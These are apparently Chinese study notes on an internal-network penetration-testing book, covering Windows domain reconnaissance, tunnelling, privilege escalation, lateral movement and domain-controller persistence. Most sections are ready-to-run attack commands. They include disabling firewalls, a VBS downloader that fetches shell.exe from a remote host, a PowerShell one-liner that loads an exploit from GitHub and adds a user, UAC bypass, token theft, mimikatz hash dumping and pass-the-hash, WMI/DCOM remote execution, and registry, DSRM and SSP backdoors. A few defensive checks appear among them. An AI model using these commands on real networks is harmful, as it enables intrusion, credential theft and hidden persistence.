内网渗透

《内网安全攻防——渗透测试实战指南》笔记

内网信息收集

概述

信息收集目标:

  • 判断当前机器角色,是普通 Web 服务器、开发测试服务器、公共服务器、文件服务器、代理服务器、DNS 服务器还是存储服务器等等
  • 判断当前机器所处网络环境的拓扑结构,是对所处内网进行全面的信息收集,和分析整理,绘制大概的内网整体拓扑结构图
  • 判断当前机器所处区域,是指判断当前按机器处于网络拓扑中的哪个位置,是在 DMZ 区、办公区还是核心区

收集本机信息

手动收集

本机信息包括系统、权限、内网 IP 地址段、杀毒软件、端口、服务、补丁更新频率、网络连接、共享、会话等。如果是域内主机,操作系统、应用软件、补丁、服务、杀毒软件一般是一键安装的。

相关命令:

命令 作用
ipconfig /all 获取本机网络配置信息
``systeminfo findstr /B /C:”OS Name” /C:”OS Version”``
echo %PROCESSOR_ARCHITECTURE% 查看系统架构
wmic product get name,version 查看安装软件信息
``powershell “GET-WmiObject -class Win32_Product Select-Object -Property name,version”``
wmic service list brief 查看服务信息
tasklist 查看进程信息
wmic process list brief 查看进程信息
wmic startup get command,caption 查看启动程序信息
schtasks /query /fo LIST /v 查看计划任务
net statistics workstation 查看开机时间
net user 查看用户列表,可以寻找用户命名规律
net localgroup administrators 查看本地管理员,有时会有域用户被添加为域机器的本地管理员
net session 列出或断开本地计算机域所连接的客户端之间的会话
netstat -ano 查看端口信息
system info 查看补丁信息
wmic qfe get Caption,Description,HotFixID,InstalledOn 查看安装在系统中的补丁
net share 查看本机共享列表
wmic share name,path,status 查看本机共享列表
route print 查看路由表
arp -a 查看MAC地址
netsh firewall show config 查看防火墙配置
netsh firewall set opmode disable Windows Server 2003及以前的版本,禁用防火墙
netsh advfirewall set allprofiles state off Windows Server 2003 之后版本,禁用防火墙
netsh firewalll add allowedprogram c:\nc.exe "allow nc" enable Windows Server 2003 之前,允许 nc 全部连接
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe" Windows Server 2003之后,允许 nc 进入
netsh advfirewall firewall add rule name="Allow nc" dir=in action=allow program="C:\nc.exe" Windows Server 2003 之后,允许 nc 出
netsh advfirewall firewall add rule name="Remote Desktop" protocal=TCP dir=in localport=3389 action=allow Windows Server 2003之后,允许3389
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log" 自定义防火墙日志文件位置
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" 查看代理配置情况
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber 查看远程连接端口(十六进制)
wmic path win32_terminalservicesetting where (__classCLASS !="") call setallowtsconnections 1 Windows Server 2003 开启 3389 端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalsetting where (__class !="") call setallowtsconnections 1 Windows Server 2008 和 2012 开启3389端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalgeneralsetting where (TermicalName='RDP-Tcp') call setuserauthenticationrequired 1 Windows Server 2008 和 2012 开启3389端口
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DOWRD /d 0 /f Windows Server 2008 和 2012 开启3389端口

常见杀软进程名称:

进程 软件
360sd.exe 360杀毒
360tray.exe 360实时防护
ZhuDongFangYu.exe 360主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 服务器安全狗
McAfee McShield.exe McAfee
egui.exe NOD32
AVP.EXE 卡巴斯基
avguard.exe 小红伞
bdagent.exe BitDefender

自动收集

使用 WMIC(Windows Management Instrumentation Command-Line),脚本自动获取所需的信息。默认情况下,任何版本的 Windows XP 的低权限用户不能访问 WMIC,Windows 7 以上版本的低权限用户允许访问 WMIC 并执行相关查询操作,推荐脚本:wmic_info.bat

Empire 下的主机信息收集

1
2
usemodule situational_awareness/host/winenum
usemodule situational_awareness/host/computerdetails

查询当前权限

如果内网中存在域,本地普通用户只能查询本机信息,无法查询域内信息;本地管理员和域用户可以查询域内信息。

命令 作用
whoami 查询当前权限
whoami /all 查询域 SID
net user username /domain 查询指定用户的详细信息

判断是否存在域

获取了本机信息之后,需要判断内网中是否存在域,如果存在,当前主机是否在域内。通常有多种方法。

查看网络配置

使用 ipconfig /all 查看网关 IP 地址、DNS IP地址、域名、本机是否和 DNS 处于同一网段等信息,然后通过反向解析查询命令 nslookup example.domainname 解析域名的 IP 地址,判断域控制器和 DNS 服务器是否是同一台服务器。

查看系统详细信息

使用 systeminfo 查看系统详细信息,域 为域名,如果 域 为 WORKGROUP 则本机不在域内,登陆服务器为域控。

查询当前登陆域及登录用户信息

使用 net config workstation,工作站域 DNS 名称为域名,登陆域表示当前登录用户是域用户或者本地用户,

判断主域

使用 net time /domain 查询时间,由于与服务器通常会同时作为时间服务器,可以用于判断主域。执行结果分为以下几种情况:

  • 存在域,但当前用户不是域用户

    1
    2
    发生系统错误 5
    拒绝访问
  • 存在域,且当前用户是域用户

    1
    \\DC.hacke.testlab 的当前时间是 2020/7/29 18:04:07
  • 当前网络环境为工作组,不存在域

    1
    找不到域 WORKGROUP 的域控制器

探测域内存活主机

使用 NetBIOS 快速探测内网

NetBIOS 是局域网程序使用的一种 API为应用程序提供了请求低级别服务的统一指令集,为局域网提供了网络及其他特殊功能,几乎所有的局域网都是在 NetBIOS协议的基础上工作的,推荐优先使用。

使用 nbtscan 扫描内网,Windows 版Linux版,不输入任何参数可查看帮助

1
nbtscan.exe 192.168.1.0/24

扫描结果第一列为 IP 地址,第二列为所在域,第三列为开启的服务

Token 含义
SHARING 该机器中存在正在运行的文件和打印共享服务,但不一定有内容共享
DC 可能是域控制器
U=USER 可能有登录名为 USER 的用户
IIS 可能安装 IIS 服务器
EXCHANGE 可能安装了 Exchange
NOTES 可能安装了 Lotus Notes 电子邮件客户端
? 没有识别出该机器的 NetBIOS 资源,可使用 -F再次扫描

利用 ICMP 协议快速探测内网

扫描 C 段:

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL"

也可利用 VBS 脚本

利用 ARP 探测内网

使用 arpscan 利用 arp 协议扫描,Windows 版,Kali 可以使用 apt 安装

1
arpscan.exe -t 192.168.1.0/24

也可以使用 Empire 的 arpscan 模块或者 Nishang 中的 Invoke-ARPScan.ps1 脚本

通过常规 TCP/UDP 端口扫描探测内网

使用 ScanLine 探测端口

1
scanline -h -t 22,80-89,110,389,445,3389,1433,2049  -u 53,161 -O C:\Windows\temp\log.txt -p 192.168.1.1-254 /b

扫描域内端口

利用 telnet 扫描

如果单纯检查某个高危端口是否开放可以选择 telnet

1
2
telnet DC 1433
telnet 192.168.1.4 22

S 扫描器

S 扫描器适合运行于 Windows Server 2003 以下的机器,扫描结果默认保存在安装目录下的 result.txt 文件中,推荐使用 TCP 扫描

1
S.exe TCP 192.168.1.1 192.168.1.254 445,3389 /Banner /save

Metasploit

Metasploit 不仅提供了多种端口扫描技术,还提供了与其他扫描工具的接口

1
use auxiliary/scanner/portscan/tcp

PowerSploit 的 Invoke-portscan.ps1

Nishang 的 Invoke-PortScan 模块

扫描到开放端口后,可以使用 nc 或者客户端连接端口获取 Banner 信息,用于在漏洞库中检索对应的 POC,EXP。常用漏洞库

  • 安全焦点中的 BugTraq
  • Exploit-DB

收集域内基础信息

确定当前内网的域,以及所控制的主机在域内,就可以进行域内相关信息的收集,以下的方法都是通过 LDAP 协议到域控制器上进行查询,因此只有域用户和本地 System 用户具有权限。

命令 作用
net view /domain 查询域
net view /domain:HACKE 查询域内所有主机
net group /domain 查询用户组列表
net group "domain computers" /domain 查询域成员
net accounts /domain 获取域密码策略
nltest /domain_trusts 查询域信任信息

查找域控制器

命令 作用
nltest /DCLIST:hacke 查看域控制器机器名
nslookup -type=SRV _ldap._tcp 查看域控制器主机名
net time /domain 查看时间
net group "Domain Controllers" /domain 查看域控制器组
netdom query pdc 查看域控制器机器名

获取域内用户和管理员信息

查询域用户列表

命令 作用
net user /domain 查询用户列表
wmic useraccount get /all 查询域内用户详细信息
dsquery user 查询存在的用户
net localgroup administrators 查询本地管理员组用户,Domain Admins 组的用户默认为域内机器的本笃管理员用户

查询域管理员用户组

命令 作用
net group "domain admins" /domain 查询域管理员用户
net group "Enterprise Admins" /domain 查询域管理员用户

定位域管理员

概述

一个域中,当计算机加入域后,会默认给域管理员组赋予本地管理员权限。

定位域管理员的方式,一是日志,二是会话。日志是指本地机器的管理员日志,可以通过脚本或 Wevtutil 工具导出查看。会话是指域内每台机器的登录会话,可以使用 netsess.exe 或 PowerView 等工具查询(可以匿名,不需要权限)。

常用域管理员定位工具

假设已经取得了域内普通用户的权限,希望横向移动,需要知道域内用户登录的位置、他是否是任何系统的本地管理员、他所属的组、他是否有权访问文件共享等。枚举主机、用户和组有助于了解域内布局。

常用域管理员定位工具有 psloggedon.exe、PVEFinADUser.exe、netsess.exe、以及 hunter、NetView 等。在 PowerShell 中,常用的是 PowerView。

查找域管理进程

本机检查

1
2
net group "Domain Admins" /Domain	# 查看域管理员
tasklist /v # 列出本机的所有进程和进程用户,在其中寻找域管理员进程

查询域控制器的域用户会话

在域控制器中查找域用户会话列表,并将其于域管理员列表进行交叉引用,从而得到域管理会话的系统列表。

查询域控制器列表,可以使用 LDAP 查询从 Domain Controllers 单元中收集的域控制器列表或者使用 net group "Domain Controllers" /domain"

收集域管理员列表,可以使用 LDAP 查询或者使用 net group "Domain Admins" /domain

收集所有活动域的会话列表,可以使用 netsess.exe,NetSess -h

交叉引用域管理员列表和活动绘画列表,可以确定哪些 IP 地址有活动域令牌。将域控制器列表保存到 dcs.txt,域管理员列表保存到 admins.txt,执行

1
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul >sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt |findstr /I %a 

类似的也可以使用 Get Domain Admins 脚本。

查询远程系统中运行的任务

如果目标机器在域系统中是通过共享的本地管理员账户运行的,就可以用以下方式查询系统中的域管理员任务,将目标域系统列表添加到 ips.txt,将收集到的域管理员列表添加到 names.txt

1
2
net group "Domain Admins" /domain
For /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>nul > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > nul && echo [!] %n was found running a prosess on %i && pause

扫描远程系统的 NetBIOS 信息

某些版本的 Windows 允许用户通过 NetBIOS 查询已登录用户,将目标域系统添加到 ips.txt,将收集到的域管理员列表添加到 admins.txt

1
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>nul > nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n >nul && echo [!] %n was found logged into %i

也可以使用 nbtscan 工具,

1
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>nul >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n >nul && echo [!] %n was found logged into %i

利用 PowerShell

-

域分析工具 BloodHound

-

敏感数据的防护

-

分析域内网段划分情况和拓扑结构

-

隐藏通信隧道技术

基础知识

概述

常见隧道:

  • 网络层:IPv6,ICMP,GRE
  • 传输层:TCP,UDP,端口转发
  • 应用层:SSH,HTTP,HTTPS,DNS

判断内网连通性

  • ICMP:ping <ip>
  • TCP:nc <ip> <port>
  • HTTP:curl <ip>:<port>
  • DNS:nslookup <domainname> <vps-ip>dig @<vps-ip> <domainname>

有时流量不能直接流出,需要在内网中设置代理服务器,常用于通过企业办公网段上网的场景。判断方式:查看网络连接是否有与其他主机的8080端口(大概率)存在连接;查看内网中是否有主机名类似于 “proxy” 的机器;查看 IE 浏览器的直接代理;根据 pac 文件的路径(本地或远程),下载并查看;执行以下命令确认

1
2
curl www.baidu.com						# 不通
curl -X <proxyip:port> www.baidu.com # 通

网络层隧道

IPv6 隧道

IPv6 隧道技术指通过 IPv4 隧道传递 IPv6 数据报文的技术。

工具:socat, 6tunnel, nt6tunnel

ICMP 隧道

工具:icmpsh, pingtunnel

传输层隧道技术

工具:lcx, nc, powercat

应用层隧道技术

SSH DNS

dnscat2

Socks 代理

earthworm

reGeorg

sSocks

SocksCap64

Proxifier

ProxyChains

压缩数据

rar.exe

将E:\webs\目录下的所有内容打包为1.rar放入E:\webs\目录下

1
rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs\

将E:\webs\1.rar解压到当前根目录下

1
rar.exe e E:\webs\1.rar

分卷压缩、解压

分卷压缩E盘API目录下的所有文件及文件夹,设置每个分卷为20M

1
rar.exe a -m0 -r -v20m E:\test.rar E:\API

将E:\test.part01.rar解压到E盘的x1目录下

1
rar.exe x E:\test.part01.rar E:\x1

7zip

上传和下载

FTP

VBS

download.vbs代码:

1
2
3
4
5
6
7
8
9
10
Set Post=CreateObject("Msxml2.XMLHTTP")
Set shell = CreateObject("Wscript.Shell")
post.Open "GET","http://IP/shell.exe",0
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(post.responseBody)
aGet.SaveToFile "C:\test\shell.exe",2

执行下面命令即可在目标主机上下载shell.exe文件

1
Cscript download.vbs

利用 Debug

利用 Nishang 上传

利用 bitsadmin 下载

权限提升分析及防御

Windows 最高权限 Trusted Installer,可以修改系统文件,高于 System

提权分为横向提权和纵向提权

系统内核溢出漏洞提权分析及防范

通过手动执行命令发现缺失补丁

1
2
3
4
5
6
//查看当前权限
whoami /groups

systeminfo

wmic qfe get Caption,Description,HotFixID,InstalledOn

这个链接里也描述了一些方法和工具:https://www.k0rz3n.com/2019/01/27/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B8%80%EF%BC%9A%E5%AF%BB%E6%89%BEEXP/

可以通过对比KB来判断是否存在提权漏洞。

MS16-032

可以使用Invoke-MS16-032.ps1工具:https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1

1
Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add"

远程加载:

1
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1);Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add""

MS16-032的补丁编号为KB3139914

利用MSF发现缺失补丁

1
use post/windows/gather/enum_patches

Windows Exploit Suggester

将systeminfo信息输出到txt文件中

1
systeminfo > info.txt

windows-exploit-suggester下载地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester

1
2
3
./windows-exploit-suggester.py --update
pip install xlrd --upgrade
/windows-exploit-suggester.py -d BulletinSearch.xlsx -i info.txt

MSF中也存在此模块

1
use post/multi/recon/local_exploit_suggester

Powershell中的Sherlock

下载地址:https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1

1
2
. .\sherlock.ps1
find-AllVulns

Windows 操作系统配置错误急用分析和防范

系统服务权限配置错误

使用Powerup

1
2
. .\Powerup.ps1
Invoke-AllChecks

可信任服务路径漏洞

这个漏洞在书中说明了利用方式,但是并没有说明根本原理,这个漏洞是由于使用CreateProcess函数创建进程时对第二个参数中的文件路径没有使用双引号括起来,这个不再说明了,在之前整理ATT&CK的文档的时候已经弄过了很多遍。可以参考这个文档:https://www.cnblogs.com/sevck/p/8488469.html

书中说到了一个查找漏洞存在的方法:

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /c "C:\Windows\\" |findstr /i /v """

MSF中存在能够利用的模块(需要有session):

1
use trusted_service_path

自动安装配置文件

利用的是网络管理员在内网中给多台机器配置环境的配置文件中的敏感信息,如密码等。常用配置文件目录:

1
2
3
4
sysprep.inf
sysprep.xml
unattend.xml
unattended.xml

MSF中的利用模块:

1
use post/windows/gather/enum_unattend

计划任务

查看当前计划任务:

1
schtasks /query /fo LIST /v

这里提到了一个工具,AccessChk用于在Windows中运行一些系统或程序的高级查询,管理和故障排除工作。可以通过这个工具来查看指定目录的权限配置情况,如果当前权限有某个高权限的程序执行文件的写权限,那么就可以替换高权限文件进行权限提升。(这里说到的是使用计划任务来进行定时执行)

使用方法:

1
2
3
4
5
//不弹框运行
accesschk.exe /accepteula
//这里原书中的命令空格被吞了,说的是列出某个驱动器下所有权限配置有缺陷的文件夹,但是使用了之后发现应该不会遍历所有的文件夹
.\accesschk.exe -uwdqs Users c:\
.\accesschk.exe -uwdqs "Authenticated Users" c:\

Empire 的 Powerup 模块

组策略首选项提权分析及防范

这个说的就是查找组策略配置文件中加密过的密码,主要就是Group.xml等文件。

可以直接使用PowerSploit中的Get-GPPPassword.ps1来获取

1
2
. .\Get-GPPpassword.ps1
Get-GppPassword

然后使用gpprefdecrypt.py脚本进行解密:

1
python gpprefdecrypt.py XXXXXXXXXXXXXXXXXXXX

绕过 UAC 提权分析及防范

MSF 中的 Bypassuac

1
2
3
use exploit/windows/local/bypassuac
set session X
run

MSF 中的 RunAs

1
2
3
use exploit/windows/local/ask
set session X
run

运行后目标主机会弹出一个 UAC 的框,点击是之后才会回弹一个新的 session,如果弹回的不是 system 权限的 session 可以使用 getsystem 命令提升

Nishang 中的 Invoke-PsUACme 模块

1
2
3
4
5
6
/使用sysprep方法并执行默认的payload
Invoke-PsUACme -Verbose
//使用oobe方法并执行默认的payload
Invoke-PsUACme -methed oobe -Verbose
//使用oobe方法执行自定义的payload
Invoke-PsUACme -methed oobe -Payload "powershell -windowstyle hidden -e <your encoded payload>"

可以使用payloadpath参数指定payload的路径。

Empire 中的 bypassuac 模块

1
usemodule privesc/bypassuac

令牌窃取分析及防范

1
2
3
access token访问令牌:代表访问控制操作主体的系统对象
security token认证令牌或硬件令牌:是一种用于实现计算机身份校验的物理设备,例如U盾
session token会话令牌:是交互会话中唯一的身份标识符

伪造令牌攻击的核心是Kerberos协议。

令牌窃取

MSF中的利用(已经有meterpreter):

1
2
use incognito
list_tokens -u

两种类型的令牌:

1
2
Delegation Tokens 授权令牌:支持交互式登录(例如可以通过远程桌面登录及访问)
Impersonation Tokens 模拟令牌:支持非交互式的会话

在MSF中可以选择使用某一个特定的TOKEN

1
impersonate_token

Rotten Potato本地提权分析

利用的前提是系统中要存在有效的令牌,然后用这个工具快速模拟用户令牌,书中的环境存在SYSTEM的token,所以可以使用下面的命令进行窃取

下载地址:https://github.com/foxglovesec/RottenPotato.git

1
2
3
upload /opt/RottenPotato/rottenpotato.exe
execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"

添加域管理员

这里说到了使用MSF的migrate命令,借助system权限的进程进行执行命令

Empire 下的令牌窃取分析

使用Empire下的creds命令和mimikatz模块进行pth攻击

无凭证条件下的权限获取分析及防范

使用Responder进行欺骗

域内横向移动分析及防御

常用 Windows 远程连接和命令

IPC

1
net use \\192.168.1.10\ipc$ "admin123" /user:administrator

dir

1
dir \\192.168.1.10\c$

tasklist

1
tasklist /S 192.168.1.10 /U administrator /P admin123

at:是Windows server 2008之前的计划任务命令

1
at \\192.168.1.10 4:11PM C:\shell.bat

创建之后会有一个任务ID,指定任务ID可以删除

1
at \\192.168.1.10 7 /delete

schtasks

1
schtasks /create /s 192.168.1.10 /tn test /sc onstart /tr C:\calc.bat /ru system /f

ATT&CK Credential

WMI

基本的执行方式:

1
wmic /node:192.168.1.10 /user:administrator /password:admin123 process call create "cmd.exe" /c ipconfig > ip.txt"

其他工具:

impacket中的wmiexec,成功连接之后会有一个交互式的命令行

1
wmiexec.py administrator:admin123@192.168.1.10

wmiexec.vbs

1
2
3
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.10 administrator admin123

cscript.exe wmiexec.vbs /cmd 192.168.1.10 administrator admin123 "ipconfig"

Invoke-WMICommand

Invoke-WMICommand是PowerSpolit中的脚本:

1
2
3
4
5
$user = "test\administrator"
$password = ConverTo-SecureString -String "admin123" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, $password
$remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.1.10
$remote.PayloadOutput

Invoke-WMIMethod是powershell自带的

1
2
3
4
$user = "test\administrator"
$password = ConverTo-SecureString -String "admin123" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, $password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "ipconfig" -ComputerName "192.168.1.10" -Credential $Cred

SMBEXEC

Impacket中有这个插件

Linux版本下载地址:https://github.com/brav0hax/smbexec.git

安装命令:

1
2
git clone https://github.com/brav0hax/smbexec.git
chmod +x install.sh && ./install.sh

DCOM 在远程系统中的使用

通过本地 DCOM 执行命令

获取DCOM程序列表:

1
2
Get-CimInstance Win32_DCOMApplication
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

使用 DCOM 在远程机器上执行命令

1调用MMC20.Application远程执行命令

1
2
3
net use \\192.168.1.10 "admin123" /user:test\xiaom
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.10"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c cmd.exe","")

2、调用9BA05972-F6A8-11CF-A442-00A0C90A8F39

1
2
3
4
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1.10")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)关于这个方法的详细内容可以参考 https://bbs.pediy.com/thread-226540-1.htm

SPN 在域环境中的应用

Exchange 邮件服务器安全防范

查看邮件数据库

1
2
3
4
//查询之前需要安装命令
add-pssnapin microsoft.exchange *
Get-MailboxDatabase -server "Exchange1"
Get-MailboxDatabase -Identity 'Mailbox Database 1894576043' | Format-List Name,EdbFilePath,LogFolderPath

域控制器安全

NTDS.dit

导出 ntds.dit 中的散列值

利用 dcsync 获取散列值

使用 MSF 获取散列值

Kerberos 与用户提权漏洞分析与防范

跨域攻击分析与防御

利用域信任关系的跨域攻击分析

获取域信息

这里说到了lg.exe这个工具,能够用来枚举远程主机用户和组的信息。

1
2
3
4
5
6
7
8
9
10
11
//枚举域中的用户组
lg.exe <domain name>\.

//枚举远程机器的本地组用户
lg.exe \\dc2012

//获取远程用户中全部用户的SID
lg.exe \\dc2012 -lu -sidsout

//获取指定组中所有成员的SID
lg.exe \\dc2012\administrators -sidsout

防范跨域攻击

权限维持分析及防御

操作系统后门分析与防范

粘滞键后门

注册表注入后门

这个在ATT&CK中的Persistence一章中的Registry Run Keys / Startup Folder中有提到。命令如下:

1
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v RegRun /t REG_SZ /d "c:\windows\system32\calc.exe"

计划任务后门

meterpreter 后门

Cymothoa 后门

下载地址:https://sourceforge.net/projects/cymothoa/

安装可参照https://blog.csdn.net/qq_17204441/article/details/88834099

1
./cymothoa -s 0 -p <process id> -y <port>

安装成功后使用nc等工具连接设置的端口即可。

WMI 后门

WMI后门的特征是无文件和无进程,将代码加密存储于WMI中,达到所谓的无文件,当设定的条件被满足时,系统将自动启动Powershell进程去执行后门程序,执行后进程将会消失。

Empire下有WMI相关的模块可以使用:

1
usemodule powershell/persistence/elevated/wmi

可以在目标主机中使用命令查看存在的后门:

1
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer

清理WMI后门的方法:删除自动运行列表中的恶意WMI条目,使用Get-WMIObject命令删除与WMI持久化相关的组件。

Web 后门

Nishang 下的 WEBShell

Weevely 后门

webacoo 后门工具

域控制器权限持久化分析与防范

DSRM 后门

使用mimikatz查看krbtgt账户密码hash值

1
.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch /name:krbtgt" exit

查看SAM文件中本地管理员的NTLM HASH值

1
.\mimikatz.exe "token::elevate" "lsadump::sam" exit

将DSRM hash和kebtgt的密码同步:

1
2
3
4
ntdsutil
set dsrm password
SYNC FROM DOMAIN account krbtgt
q

再次查看会发现DSRM密码和krbtgt的密码相同,然后修改DSRM的登陆方式,这个注册表键值为2表示”在任何情况下都可以使用DSRM管理员账号登陆域控制器”:

1
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

使用mimikatz进行pth攻击:

1
.\mimikatz.exe "privilege::Debug" "sekurlsa::pth /domain:DC /user:administrator /ntlm:XXXXXXXXXXX"

DSRM后门防御措施:

1
2
3
检查hklm\system\currentcontrolset\control\lsa\dsrmadminlogonbehavior注册表键值的值,确认值为1
定期修改DSRM的账号
经常检查ID为4794的日志

SSP 维持域控权限

方式一:

1
.\mimikatz.exe "privilege::debug" "misc::memssp" exit

注销之后执行命令查看明文密码:

1
powershell.exe cat c:\windows\system32\mimilsa.log

方式二:

1
2
powershell.exe cp .\mimilib.dll C:\Windows\System32\
Set-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "Security Packages" -value "mimilib.dll"

重启之后使用命令查看密码:

1
powershell.exe cat c:\windows\system32\kiwissp.log

防御措施:

1
2
3
查看hklm\system\currentcontrolset\control\lsa\Security Packages注册表项是否含有可疑的DLL文件
检查C:\windows\system32\目录下是否存在可疑的文件
第三方工具检查

SID History 后门

test为恶意账户,administrator

1
2
3
4
Import-module ActiveDirectory
Get-ADUser xiaom -Properties sidhistory

.\mimikatz.exe "privilege::Debug" "sid::patch" "sid::add /sam:xiaom /new:administrator" exit

此时使用xiaom账号可以访问域控

Golden Ticket and Silver Ticket

Skeleton Key

Hook PasswordChangeNotify

这个方法要使用Invoke-ReflectivePEInjection.ps1将HookPasswordChange.dll注入内存,在目标系统中启动管理员权限的powershell:

1
2
. .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

此时如果再修改用户密码则修改之后的密码会记录在C:\windows\Temp\password.txt文件中。

工具下载地址:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

https://github.com/clymb3r/Misc-Windows-Hacking

参考地址:http://www.vuln.cn/6812

Nishang 下的脚本后门分析与防范

HTTP-Backdoor

Add-scrnSaveBackdoor

Execute-OnTime

Invoke-ADSBackdoor

ATT&CK 框架

InitialAccess(入口点)

Execution(命令执行)

Persistence(持久化)

PrivilegeEscalation(权限提升)

DefenseEvasion(绕过防御)

Discovery(基础信息收集)

lateral-movement(横向渗透)

C&C(命令控制)

Exfiltration(信息窃取)

基础

Keyberos

Active Directory

AD 存储关于网络对象的相关信息,是管理员和用户可以轻松的查找和使用这些信息。

网络对象有:用户、用户组、计算机、域、组织单位以及安全策略等。

Keyberos

Keyberos 是一种网络认证协议,认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据

参与角色

  • 客户端
  • 服务端
  • KDC(DC0

KDC 的组成

  • AD(Account Database):存储所有客户端的白名单,只有在白名单中的客户端才可以申请 TGT
  • AS(Authentication Service):为客户端生成 TGT 的服务
  • TGS(Ticket Granting Service):为客户端生成用于某个服务的 ticket 的 service

物理层面上,AD 和 KDC 都是域控。

原则

  • 长期使用的密钥不应用于在网络上传输
  • 只有 KDC 维护数据库(Account Database)来保存域中主机的 Master Key

Keyberos 认证流程

Keyberos 认证大致包含三个子过程:

  • Client 向 KDC 申请 TGT(Ticket Granting Ticket)
  • Client 通过获得的 TGT 向 KDC 申请用于访问 Server 的 Ticket
  • Client 向 Server 提交 Ticket 用于认证

认证过程通过3个 Sub-protocol 完成,分别对应上面的3个子过程:

  • Authentication Service Exchange
  • Ticket Granting Service Exchange
  • Client/Server Exchange

Authentication Service Exchange

通过这个 Sub-protocol,KDC(中的 AS)实现对 Client 身份的确认,并颁发给 Client 一个 TGT,具体过程如下:

Client 向 KDC 的 Authentication Service 发送 Authentication Service Request(KRB_AS_REQ),为了确保 KRB_AS_REQ 仅限于自己和 KDC 知道,Client 使用自己的 Master Key 对 KRB_AS_REQ 的主体部分进行加密(KDC可以通过 Domain 的Account Database 获取该 Client 的 Master Key),KRB_AS_REQ 的主体部分包含以下内容:

  • Pre-autentication data:包含用以证明自己身份的信息,一般是一个被 Client 的 Master Key 加密的 Timestamp
  • Client name & realm:简单来说就是 Domain_name\Client
  • Server Name:这里的 Server Name 不是 Client 想要访问的 Server 的名称,而是 KDC 的 Ticket Granting Service 的 Server Name

AS 通过接收到的 KRB_AS_REQ 验证发送方是否为在 Client name & realm 中声明的那个人,即使用从 Account Database 中提取的 Client 对应的 Master Key 对 Pre-authentication data 解密,如果得到了合法的 Timestamp,即可证明发送方提供的密码正确。

验证通过后,AS 将一份 Authentication Service Response(KRB_AS_REP)发送给 Client。KRB_AS_REP 主要包含两个部分:本 Client 的 Master Key 加密过的 Session Key(SKDC-Client; Logon Session Key)和被自己(KDC)加密过的 TGT,而 TGT 包含以下内容:

  • Session Key; SKDC-Client; Logon Session Key
  • Client name & realm: Domain_name/Client
  • End time: TGT 到期时间

Client 通过自己的 Master Key 对第一部分解密获得 Session Key 和加密的 TGT,使用 TGT 进入下一步

Ticket Granting Service Exchange

TGS Exchange 通过 Client 向 KDC 中的 TGS 发送 Ticket Granting Service Request(KRB_TGS_REQ)开始,KRB_TGS_REQ 大体包含以下内容:

  • TGT:Client 通过 AS Exchange 获得 Ticket Granting Ticket,TGT 被 KDC 的 Master Key 加密
  • Authenticator:用以证明 TGT 的拥有者就是自己,所以必须以 TGT 的方法方(KDC)和自己的 Session Key(SKDC-Client)来进行加密
  • Client name & realm:Domain_name/Client
